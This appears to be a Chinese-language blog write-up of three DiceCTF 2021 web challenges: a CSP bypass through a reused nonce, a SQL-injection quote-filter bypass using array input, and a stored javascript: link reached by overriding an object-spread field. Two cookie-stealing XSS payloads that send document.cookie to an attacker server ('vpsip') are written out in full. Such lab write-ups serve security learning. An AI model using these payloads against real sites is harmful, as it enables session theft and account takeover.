dice CTF WriteUp

dice CTF WriteUp

这次共做了三道Web题,这三题的难度都不大,但是由于我没有学过node.js,所以能学习到一些新的知识,算是边学边做题,这里记录一下

Babier CSP

题目描述是Baby CSP was too hard for us, try Babier CSP.,还给了Admin Bot,所以应该做题思路应该就是绕过csp进行xss打cookie了。

题目代码:

const express = require('express');
const crypto = require("crypto");
const config = require("./config.js");
const app = express()
const port = process.env.port || 3000;

const SECRET = config.secret;
const NONCE = crypto.randomBytes(16).toString('base64');

const template = name => `
<html>

${name === '' ? '': `<h1>${name}</h1>`}
<a href='#' id=elem>View Fruit</a>

<script nonce=${NONCE}>
elem.onclick = () => {
  location = "/?name=" + encodeURIComponent(["apple", "orange", "pineapple", "pear"][Math.floor(4 * Math.random())]);
}
</script>

</html>
`;

app.get('/', (req, res) => {
  res.setHeader("Content-Security-Policy", `default-src none; script-src 'nonce-${NONCE}';`);
  res.send(template(req.query.name || ""));
})

app.use('/' + SECRET, express.static(__dirname + "/secret"));

app.listen(port, () => {
  console.log(`Example app listening at http://localhost:${port}`)
})

这里的考点是服务端设置Content-Security-Policy: default-src none; script-src 'nonce-${NONCE}'这样的响应头,具体作用参考:http://www.ruanyifeng.com/blog/2016/09/csp.html

当srcipt-src设置了nonce值时,页面内嵌脚本必须有这个值,才会执行。也就是说,如果要通过xss执行javascript,则payload需要类似于:<script nonce=xxx>alert(1)</script>

而这道题的Nonce值虽然使用了随机函数生成,但是并没有每次请求都重新生成,而是一直复用初始值。那我们的payload直接给定响应包中返回的Nonce值就可以正常执行payload了。

payload:https://babier-csp.dicec.tf/?name=%3Cscript%20nonce=LRGWAXOY98Es0zz0QOVmag==%3Ewindow.location=%22http://vpsip/%22%2bdocument.cookie%3C/script%3E

用Admin bot访问一下构造的链接就拿到secret了

根据源码中添加的secret路由,拼接路径访问得到flag

Missing Flavortext

题目源码:

const crypto = require('crypto');
const db = require('better-sqlite3')('db.sqlite3')

// remake the `users` table
db.exec(`DROP TABLE IF EXISTS users;`);
db.exec(`CREATE TABLE users(
  id INTEGER PRIMARY KEY AUTOINCREMENT,
  username TEXT,
  password TEXT
);`);

// add an admin user with a random password
db.exec(`INSERT INTO users (username, password) VALUES (
  'admin',
  '${crypto.randomBytes(16).toString('hex')}'
)`);

const express = require('express');
const bodyParser = require('body-parser');

const app = express();

// parse json and serve static files
app.use(bodyParser.urlencoded({ extended: true }));
app.use(express.static('static'));

// login route
app.post('/login', (req, res) => {
  if (!req.body.username || !req.body.password) {
    return res.redirect('/');
  }

  if ([req.body.username, req.body.password].some(v => v.includes('\''))) {
    return res.redirect('/');
  }

  // see if user is in database
  const query = `SELECT id FROM users WHERE
    username = '${req.body.username}' AND
    password = '${req.body.password}'
  `;

  let id;
  try { id = db.prepare(query).get()?.id } catch {
    return res.redirect('/');
  }

  // correct login
  if (id) return res.sendFile('flag.html', { root: __dirname });

  // incorrect login
  return res.redirect('/');
});

app.listen(3000);

通读源码可以获取如下信息:

  1. 数据库中有一个用户admin,密码为随机生成的
  2. 当输入正确的账号密码后,就能得到flag.html文件的内容,猜测flag就在里面

源码中可能存在问题的地方就是sql查询的位置,是通过拼接参数来执行sql语句的,可能存在注入。

但是前面的if ([req.body.username, req.body.password].some(v => v.includes('\'')))中对输入的用户名密码做了检测,不允许出现单引号,这样我们无法闭合语句,需要绕过。

本地搭建环境测试

在sql语句拼接完成后面添加代码console.log(query);,将sql语句打印出来,方便测试。

node.js是弱类型语言,所以我们可以传入不同类型数据进去,通过下图可以知道node.js接收了password数组

通过测试发现,当我们传入的password为数组时,可以绕过上面的单引号检测

绕过了单引号检测,那么后面的步骤就是一把梭哈get flag了

Web Utils

这题跟第一题一样,是xss打cookie

通过访问靶机可以看到一共给了两个功能,一个是Link Shortener生成短链接,另外一个是Pastebin生成任意内容的临时页面

第一反应

一开始想着直接用Pastebin功能生成有js代码的页面就完事了,但很显然出题方不会闲着蛋疼出这种题目来浪费我们的假期。通过阅读给出的源码,看public/view.html中的js,是通过api接口获取自定义内容后,通过document.querySelector('div').textContent = data;来将内容显示到前端的。

而HTML DOM的textContent作用是设置或返回节点的文本内容,也就是说,不管我们通过textContent设置的内容是多么花里胡哨的攻击代码,也只会当作文本显示出来,所以此路不通。具体参考:https://www.cnblogs.com/anqwjoe/p/8422843.html

通读源码

仔细阅读public/view.html后发现一个思路

<!doctype html>
<html>
<head>
  <script async>
    (async () => {
      const id = window.location.pathname.split('/')[2];
      if (! id) window.location = window.origin;
      const res = await fetch(`${window.origin}/api/data/${id}`);
      const { data, type } = await res.json();
      if (! data || ! type ) window.location = window.origin;
      if (type === 'link') return window.location = data;
      if (document.readyState !== "complete")
        await new Promise((r) => { window.addEventListener('load', r); });
      document.title = 'Paste';
      document.querySelector('div').textContent = data;
      console.log(document.querySelector('div').textContent);
    })()
  </script>
</head>
<body>
  <div style="font-family: monospace"></div>
</bod>
</html>

这里通过api去获取data和type,当type为link时,将window.location设置为data进行跳转。那么如果我们可以控制data为javascript:alert(1),就可以构造出xss了

首先我们需要来看如何添加type=linkdata=javascript:alert(1)的数据,这其实就是Link Shortener的功能。

直接看源码,routes/api.js

const database = require('../modules/database');

module.exports = async (fastify) => {
  fastify.post('createLink', {
    handler: (req, rep) => {
      const uid = database.generateUid(8);
      const regex = new RegExp('^https?://');
      if (! regex.test(req.body.data))
        return rep
          .code(200)
          .header('Content-Type', 'application/json; charset=utf-8')
          .send({
            statusCode: 200,
            error: 'Invalid URL'
          });
      database.addData({ type: 'link', ...req.body, uid });
      rep
        .code(200)
        .header('Content-Type', 'application/json; charset=utf-8')
        .send({
          statusCode: 200,
          data: uid
        });
    },
    schema: {
      body: {
        type: 'object',
        required: ['data'],
        properties: {
          data: { type: 'string' }
        }
      }
    }
  });

  fastify.post('createPaste', {
    handler: (req, rep) => {
      const uid = database.generateUid(8);
      database.addData({ type: 'paste', ...req.body, uid });
      rep
        .code(200)
        .header('Content-Type', 'application/json; charset=utf-8')
        .send({
          statusCode: 200,
          data: uid
        });
    },
    schema: {
      body: {
        type: 'object',
        required: ['data'],
        properties: {
          data: { type: 'string' }
        }
      }
    }
  });

  fastify.get('data/:uid', {
    handler: (req, rep) => {
      if (!req.params.uid) {
        return;
      }
      const { data, type } = database.getData({ uid: req.params.uid });
      if (!data || !type) {
        return rep
          .code(200)
          .header('Content-Type', 'application/json; charset=utf-8')
          .send({
            statusCode: 200,
            error: 'URL not found',
          });
      }
      rep
        .code(200)
        .header('Content-Type', 'application/json; charset=utf-8')
        .send({
          statusCode: 200,
          data,
          type
        });
    }
  });
}

createLink就是Link Shortener功能的实现,读没两句代码就遇到坎了,该功能通过正则^https?://来限制我们输入的data只能是http://或https://开头,测了半天也绕不过去,在此又卡住了。

代码审计题没有找到漏洞,那肯定就是对源码理解不够透彻,所以重头看了下代码,发现了一个奇怪的点。当验证完数据后插入数据时的调用,database.addData({ type: 'link', ...req.body, uid });,其中第二个参数前面有三个点,具体作用参考:https://blog.csdn.net/bdss58/article/details/54605874

其实这三个点的作用就是将req.body数组打散,引用上述参考中的例子:

const arr1 = [1,2,3]
const arr2 = [...arr1, 4, 5]
console.log(arr2) // [1, 2, 3, 4, 5]

本地测试一下,在正则检测前添加代码console.log({ type: 'link', ...req.body, uid });将传入的参数打印出来

如下图,可以看到由于req.body只有data一个元素,所以传入的参数是:{ type: 'link', data: 'http://a', uid: 'l8YlIJGQ' }

那么如果我们传入type=aaa呢?如下图,可以看到参数type被覆盖成aaa了

通过上面的测试,思路就清晰了。虽然createLink对data做了检测,不能传入javascript:alert(1),但是下面的createPaste并没有这样的限制,所以我们通过api接口/api/createPaste来插入type=link、data=javascript:alert(1)的数据,具体操作如下:

查看数据库,发现插入了一条我们需要的数据

访问http://localhost:3000/view/z2jm2la7成功弹窗

本地测试成功了,那么就在靶机上一把梭哈了

首先添加一条type=link,data=javascript:window.location.href=\"http://vpsip/\"+document.cookie的数据

然后vps上监听端口,将https://web-utils.dicec.tf/view/RgDJTDib给Admin bot访问,得到flag

posted @ 2021-02-09 19:57  Gcker  阅读(541)  评论(0编辑  收藏  举报